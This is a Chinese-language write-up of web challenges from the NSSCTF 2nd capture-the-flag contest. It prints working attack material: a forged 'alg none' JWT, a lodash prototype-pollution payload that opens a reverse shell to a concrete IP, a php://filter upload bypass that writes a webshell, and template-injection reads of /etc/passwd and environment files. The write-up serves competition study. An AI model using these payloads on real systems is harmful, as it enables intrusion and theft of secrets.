NSSCTF 2nd-WEB部分writeup

发布时间 2023-08-29 10:58:19作者: gxngxngxn

所以王原的代价是?----writewp

WEB

(遗憾,差点AKweb,最后一个真的做不了一点,还是太菜了!!!!!)

MyJs

首页一个登录框,右键页面源码,看到提示访问/source路由,得到源码:

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');

global.secrets = [];

express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
    name: 'session',
    secret: randomize('a', 16),
    resave: true,
    saveUninitialized: true
}))
.get('/', (req, res) => {
    if (req.session.data) {
        res.redirect('/home');
    } else {
        res.redirect('/login')
    }
})
.get('/source', (req, res) => {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
    if (req.method == "GET") {
        res.render('login.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password, token} = req.body;
        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            return res.render('login.ejs', {msg: 'login error.'});
        }
        const secret = global.secrets[sid];
        const user = jwt.verify(token, secret, {algorithm: "HS256"}); //jwt伪造
        if (username === user.username && password === user.password) {
            req.session.data = {
                username: username,
                count: 0,
            }
            res.redirect('/home');
        } else {
            return res.render('login.ejs', {msg: 'login error.'});
        }
    }
})
.all('/register', (req, res) => {
    if (req.method == "GET") {
        res.render('register.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password} = req.body;
        if (!username || username == 'nss') {
            return res.render('register.ejs', {msg: "Username existed."});
        }
        const secret = crypto.randomBytes(16).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret);
        const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
        res.render('register.ejs', {msg: "Token: " + token});
    }
})
.all('/home', (req, res) => {
    if (!req.session.data) {
        return res.redirect('/login');
    }
    res.render('home.ejs', {
        username: req.session.data.username||'NSS',
        count: req.session.data.count||'0',
        msg: null
    })
})
.post('/update', (req, res) => {
    if(!req.session.data) {
        return res.redirect('/login');
    }
    if (req.session.data.username !== 'nss') { //需要我们登录nss账户
        return res.render('home.ejs', {
            username: req.session.data.username||'NSS',
            count: req.session.data.count||'0',
            msg: 'U cant change uid'
        })
    }
    let data = req.session.data || {};
    req.session.data = lodash.merge(data, req.body); //loadash原型链污染和RCE
    console.log(req.session.data.outputFunctionName);
    res.redirect('/home');
})
.listen(827, '0.0.0.0')

代码审计一下,发现存在/login,/register,/update路由,这里采用jwt加密,注册后会给出一个token,登录时需要验证这个token来登录,这里就很明显存在Node.js中JWT认证缺陷的绕过

参考一下这篇文章:https://qftm.github.io/2020/04/19/bypass-nodejs-jwt/#toc-heading-7

那么思路很明确了,我们先随便注册一个账号,拿到一个token:

Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiJneG5neG5neG4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTY5MzExMDQ2NH0.iUOigYw6d7ItpqSiVqDYWduXVSS64kCA70CIp1g7fjA

拿到jwt.io中解密一下,最终构造成下面的形式:

{"typ":"JWT","alg":"none"}.{"secretid":[],"username":"nss","password":"123456","iat":1693107321}

然后分段base64加密一下,拿到token:

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoibnNzIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJpYXQiOjE2OTMxMDczMjF9Cg.

回到/login路由,按照设置的账号密码登入nss账户,成功:

然后我们就可以绕过update路由的限制,进入下面的lodash.merge中,这里存在原型链污染和RCE,

参考文章:https://www.anquanke.com/post/id/248170#h3-9

这里运用lodash和ejs结合的方式进行RCE,我们直接掏模板rce:

{
    "content": {
        "constructor": {
            "prototype": {
            "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.143.203.166/2333 0>&1\"');var __tmp2"
            }
        }
    },
    "type": "test"
}


抓包,传参:

重新访问下home路由,弹shell成功:

查看环境变量,得到flag。

php签到

 <?php

function waf($filename){
    $black_list = array("ph", "htaccess", "ini");
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    foreach ($black_list as $value) {
        if (stristr($ext, $value)){
            return false;
        }
    }
    return true;
}

if(isset($_FILES['file'])){
    $filename = urldecode($_FILES['file']['name']);
    $content = file_get_contents($_FILES['file']['tmp_name']);
    if(waf($filename)){
        file_put_contents($filename, $content);
    } else {
        echo "Please re-upload";
    }
} else{
    highlight_file(__FILE__);
} 

这里对后缀进行了黑名单过滤,看到是pathinfo函数,可以采用.php/.的方式绕过,然后后面file_put_contents方式写入文件,会对/.进行转义,所以直接运用php://filter的方式绕过:

php://filter/write=convert.base64-decode/resource=1.php/.
#文件名尽量选短一点,不然file_put_contents有长度限制,会报错

构造一个文件上传的数据包,对上述payload进行url编码,填入filename中,传入的一句话用base64编码一下:

上传成功,访问一下:

成功!

MyBox

非预期,直接file:///proc/1/environ读取环境变量,拿到flag~~~~

MyHurricane

进入就给出了源码

import tornado.ioloop
import tornado.web
import os

BASE_DIR = os.path.dirname(__file__)

def waf(data):
    bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
    for c in bl:
        if c in data:
            return False
    for chunk in data.split():
        for c in chunk:
            if not (31 < ord(c) < 128):
                return False
    return True

class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        with open(__file__, 'r') as f:
            self.finish(f.read())
    def post(self):
        data = self.get_argument("ssti")
        if waf(data):
            with open('1.html', 'w') as f:
                f.write(f"""<html>
                        <head></head>
                        <body style="font-size: 30px;">{data}</body></html>
                        """)
                f.flush()
            self.render('1.html')
        else:
            self.finish('no no no')

if __name__ == "__main__":
    app = tornado.web.Application([
            (r"/", IndexHandler),
        ], compiled_template_cache=False)
    app.listen(827)
    tornado.ioloop.IOLoop.current().start()

一个Tornado模板注入,有个黑名单过滤,post传参ssti可以进行模板注入:

参考文章:Tornado模板注入 - 先知社区 (aliyun.com)

拿个文件读取的payload:

{% include "/etc/passwd" %}

发现过滤了""符号,但是其实这里不用加双引号也可以进行文件读取,直接读环境变量:

ssti={% include /proc/self/environ %}

2周年快乐!

tj✌脑洞真大捏,这题web中最后一个打出来的~~~打开网页中终端,输入命令:curl https://www.nsssctf.cn/flag